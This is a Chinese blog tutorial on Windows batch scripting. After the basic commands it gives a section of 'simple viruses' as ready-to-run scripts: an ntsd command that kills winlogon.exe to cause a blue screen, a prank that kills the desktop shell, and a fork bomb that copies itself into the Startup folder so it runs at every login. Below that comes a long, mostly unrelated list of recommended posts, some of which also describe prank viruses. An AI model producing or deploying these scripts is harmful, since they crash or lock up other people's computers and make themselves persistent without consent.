批处理编写(windows脚本文件)和一些简单的病毒

DOS 批处理快速实现 arp 绑定    为了预防 ARP 病毒的攻击,一般都建议 Windows 用户把本机和网关实现 IP 与物理地址的绑定。    Windows 下的绑定命令格式为: ARP -s [IP地址] [MAC地址]    尽管命令很简单,但是对于初级用户仍然是一件困难的事情,特别是还要通过运行 ipconfig.exe、ping、arp -a 等命令获取网关和本机的 MAC 地址就更是一件难事。即使是有经验的网管 阅读详情

1.1批处理作用
自上而下成批的处理每一条命令,直到执行最后一条!
1.2如何创建批处理
扩展名:.bat
创建方法:新建一个记事本文件,然后将扩展名改为.bat
1.3 批处理基本语法
1.3.1 @echo off
作用:关闭回显功能,即屏蔽执行过程
1.3.2 pause
作用: 暂停批处理运行
1.3.3 title
作用:为批处理脚本设置标题
1.3.4 echo .
作用: 空一行
1.3.5 set
作用:设置变量,常用于在脚本中的互动赋值

 互动赋值 :set /p  time=请输入时间:
 引用变量 :   %time%

案例:
//作用:定时关机

set /p time=请输入时间:
shutdown -s -f -t %time%

1.3.6 :和goto
:定义标签名
goto 实现跳转

简单的病毒

针对xp或2003的蓝屏命令

ntsd -c -q -pn winlogon.exe   

注释:强制注销winlogon.exe进程,winlogon.exe 是开机启动进程,无法注销,故导致蓝屏
恶意清空桌面

@echo off
taskkill  /im explorer.exe /f >nul 2>nul  
echo 傻了吧
ping-n 5 127.0.0.0 >nul 2>nul
start c:\windows\explorer.exe
echo 吓唬你的
pause`

注释:

1>nul 屏蔽操作成功显示的信息,但是出错还是会显示(同 >nul)
2>nul 屏蔽操作失败显示的信息,但是成功还是会显示

nul 2>nul 就是正确的错误的一起屏蔽掉,啥也不显示了

开机无限打开cmd导致蓝屏

@echo off  
color 0a  
title 简单的病毒   
//无限打开cmd
copy game.bat  "%userprofile\「开始」菜单\程序\启动"   
:d
start   
goto d

运行结果:
在这里插入图片描述

网络安全之WINDOWS端口及病毒编写 Windows病毒编写 资源耗尽病毒原理 自动锁机病毒原理 无限重启病毒原理 阅读详情

相关推荐

4.1 脚本病毒编写实验

脚本病毒

qq_55202378的博客 4707

简单批处理病毒的制作—bat小程序

简单批处理病毒的制作 bat(批处理文件类型)批处理文件,在DOS和Windows(任意)系统中,.bat文件是可执行文件,由一系列命令构成,其中可以包含对其他程序的调用。这个文件的每一行都是一条DOS命令(大部分时候就好像我们在DOS提示符下执行的命令行一样),你可以使用DOS下的Edit或者Windows的记事本(notepad)等任何文本文件编辑工具创建和修改批处理文件。 VBS是基于Visua

monster663的博客 7808

手搓Windows病毒

(重启恢复)

m0_73863497的博客 1313

网络安全:windows批处理写病毒的一些基本命令.

一次输出信息太多,不想通过上下滑动来查看时,可以在打印信息的命令末尾加上| more,这样可以让打印出来的信息进行分页,从而可以用键盘慢慢地查看输出信息。以上是将.txt结尾的文件,改为exe性质的文件,系统会将所有的.txt结尾的文件看作.exe结尾的文件,因此会导致.txt结尾的文件无法正常运行。+s或-s:是将文件设置系统级别文件,这种文件会被单独隐藏起来,是除了-h的隐藏以外的另一种隐藏。可以是任意文件,如果是del *.txt是删除所以txt作为扩展名的文件。

srhqwe的博客 2445

Windows病毒原理

相信大家都曾遭受过电脑病毒的袭击,尤其是在winxp盛行的时期。像熊猫烧香、蠕虫,勒索病毒等等,其实病毒的底层逻辑都是一层一层的计算机代码,具有目的性、破坏性、不可恢复性等,那么今天咱们就探寻一下计算机病毒,解开病毒的神秘面纱。

weixin_45476967的博客 1382

记录一次病毒启动脚本 part1

修改系统的 UAC 设置以降低安全性。启动和配置某个 PDF 编辑器。处理文件数量检查,确保程序正常运行。更新并执行一个名为的脚本。由于涉及到 UAC 设置的修改,这段代码可能会被安全软件标记为潜在的恶意行为。关于病毒具体执行了什么,可以参见这篇文档。

all for one,one for all 3062

BAT病毒代码(一)

msgbox "点不完吧,气不气?

2301_78588271的博客 7696

Windows批处理脚本:U盘病毒防护方案

为有效防御U盘病毒,需采取多种防护措施,包括禁用自动运行功能、开启U盘写保护、使用杀毒软件扫描等。此外,定期更新操作系统和安全补丁也是必要的预防措施。批处理脚本,是一种用于简化重复任务执行的自动化脚本语言,它内嵌于Windows操作系统中,通过执行一系列预先设定的命令,使得用户无需手动进行复杂的操作。批处理脚本以其操作简便、执行效率高、易于学习掌握和部署等优势,成为了IT运维人员提升工作效率的有力工具。在安全防护方面,批处理脚本可以自动化执行病毒扫描、系统监控、安全检查等任务。

weixin_35639680的博客 1180

批处理以及简单病毒的制作

注:建议实验在虚拟机中进行。

qq_45953122的博客 1912

Windows批处理脚本解决文件删除难题

文件权限是操作系统用于控制用户对文件的访问和操作的机制。了解和正确设置文件权限是保证数据安全和系统稳定的关键。权限包括读取、写入、执行和完全控制等类型。不同的权限组合可以满足不同的业务需求和安全策略。在Windows系统中,文件权限与用户账户关联,每一个文件或文件夹都有一个访问控制列表(ACL),指定了哪些用户或组可以执行哪些操作。权限设置不当,比如赋予过多权限,可能导致敏感数据泄露或被恶意软件破坏;权限设置过严,则可能影响用户的正常工作。icacls。

weixin_35752645的博客 1078

Simulink仿真避坑指南:如何设置步长、powergui和模块采样时间才能让控制周期更稳定

本文深入解析Simulink仿真中步长、powergui和模块采样时间的协同配置方法,帮助工程师解决控制周期不稳定问题。通过实际案例和参数调优技巧,指导用户精准设置仿真参数,确保电机控制、电力电子系统等工业仿真结果的可靠性。

weixin_42524762的博客 419

简单整蛊室友,只需几行bat病毒代码

整蛊室友,马上搞定。

f32556b6edcdc80c的博客 4万+

3D Gaussian Splatting环境配置和运行

使用conda命令根据environment.yml文件创建虚拟环境时,安装的pytorch是使用conda install 命令来安装的,实际上并不能成功安装带有gpu的pytorch,而这两个模块的安装依赖于带gpu的pytorch。如果不注释掉这三行,直接安装会报错

m0_46360757的博客 3326

Windows基础 -- 病毒编写(完结)

启动文件夹中的程序会在用户登录时自动运行,因此每次系统启动时, 1.bat 都会 自动执行,导致系统立即关机。cmd中可以使用 whoami 获取当前用户信息,但是 whoami 会包含用户所处域的名称,例 如 DESKTOP-12345\John ,我们需要使用脚本处理该段字符串,获取后面的用户名。bat(脚本 文件后缀名 .bat) “批处理资源耗尽病毒”或“fork 炸弹”,它会在系统中生成大量的命令行窗口,逐渐占用系统的 CPU 和内存资源,最终导致系统变慢甚至崩溃。

m0_73699202的博客 5046

【AutoSar CP】SoAd模块

比如对于特定的PDU,其PduId在程序编译时就确定了,但是在代码运行中,该PduId可能需要发送到不同的远端ip,这时就需要用SoAd来设置连接远端地址信息。SoAdSocketConnectionGroup(连接参数)SoAdSocketRoute(接收数据)SoAdRoutingGroup(开关)SoAdPduRoute(发送数据)

至道无难,唯嫌拣择。 1686

从零构建物联网监控系统:STM32+迪文屏+WiFi模组的实战解析

本文详细解析了基于STM32微控制器、迪文串口屏和WiFi模组构建物联网监控系统的完整方案。从硬件选型、系统架构设计到数据交互实现,提供了包括迪文屏GUI开发、STM32通信协议、低功耗优化等实战经验,帮助开发者快速掌握物联网监控系统的核心技术。

docker7nomad的博客 728

【网络安全学习实践】Windows基本DOS文件命令与简易病毒编写

基本DOS命令与简易病毒编写,包括DOS命令、批处理、木马与病毒等概念理解以及基本DOS命令的总结和批处理编写简易病毒。本学习实践目的为熟悉掌握命令语句,理解操作原理思考防护措施,务必在虚拟机环境下操作,坚决杜绝病毒传播与恶意操作

bay_Tong桐小白的博客 1476

华三模拟器实战:IPSec VPN穿越NAT的完整配置与调试(附常见问题排查)

本文详细解析了华三模拟器中IPSec VPN穿越NAT的完整配置与调试方法,包括基础环境准备、分步配置、ACL协调策略及高级故障排查。通过实战案例和关键参数解析,帮助网络工程师解决IPSec与NAT协同工作的典型问题,提升企业网络安全性。

weixin_33724046的博客 460

简单windows病毒编写及分析

文件要能看懂源码,并进行实际操作,这样才能加深印象。

zakefine的博客 2544

华为OD机试 新系统真题 【数字系统转换器】

华为OD机试 新系统真题【数字系统转换器】,提供C语言、Java、C++、Python、Go、JavaScript源码实现,并提供完整思路讲解,以及在线OJ模拟做题。华为OD机试真题【数字系统转换器】多语言题解。

qq_45776114的博客 542

Git下载与安装

一、Git下载 二、Git安装

欢迎订阅我的“JAVA全栈开发笔记(全)”专栏,价格优惠,仅需19.9元。 6万+

编写windows病毒基础

win10和win7的模式基本是一样的,除了一些编码的小问题,其他的基本一样win11和win10类似

2202_75361164的博客 1788

ARINC429协议分析

如下表所示,ARINC429在发送一帧过程中,首先发送以START开始,以END结束,共发送32bits数据,其中0~7bits为Lable数据,9~8bits为SDI数据,10~28bits为数据,29~30bits为SSM,31bit为校验位End30292827262524校验位SSM2322212019181716DATA15141312111098SDI7654321Start。

5223

Windows基础之病毒编写

的教学本文主要讲解常见端口对应的服务及所存在的安全风险、bat病毒的编写。

世界上没有所谓的天生如此,只是有人在坚持,不要因为自己不擅长而放弃努力 1416

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

批处理脚本实战:高效清除顽固病毒文件与Windows文件系统自动化管理

在Windows系统管理与自动化运维领域,批处理脚本是实现高效文件操作和系统任务自动化的核心技术。其原理基于Windows命令提示符(CMD)环境,通过预定义的命令序列批量执行文件属性修改、删除、进程管理等操作,无需依赖图形界面。这项技术的核心价值在于提升系统管理效率、实现复杂任务的标准化执行,尤其适用于病毒清理、批量文件处理、环境部署等场景。针对顽固病毒文件,批处理脚本通过attrib命令解除文件的系统、隐藏、只读等保护属性,再结合del命令进行强制删除,有效解决了杀毒软件难以处理的文件锁定和属性异常问题

weixin_30920513的博客 337

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

泷羽Sec:Windows基础之病毒编写

控制面板 -程序 -打开或关闭Windows功能 ---勾选telnet客户端(相当于远程连接,在shodan中,cisco的设备就是基于这个)logoff注销,在后期提权成功的情况下要远程登录3389桌面的话,有可能有的机器是连接状态,这时我们就可以用这个命令把对方的远程登陆注销掉。显示当前网络状态,ip配置,一般用这个命令查看网络本机的ip地址,排查网络问题。就将 1.txt的内容和2.txt的内容合并且重命名为3.txt里面。一般常用的为 -pid,-f,-t,

2401_83140800的博客 1898

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

上一篇: DOS基本命令及windows文件的恶意修改
下一篇: 利用5次shift漏洞破解win7密码
Little  Busters!
博客等级 码龄6年 1粉丝 6原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值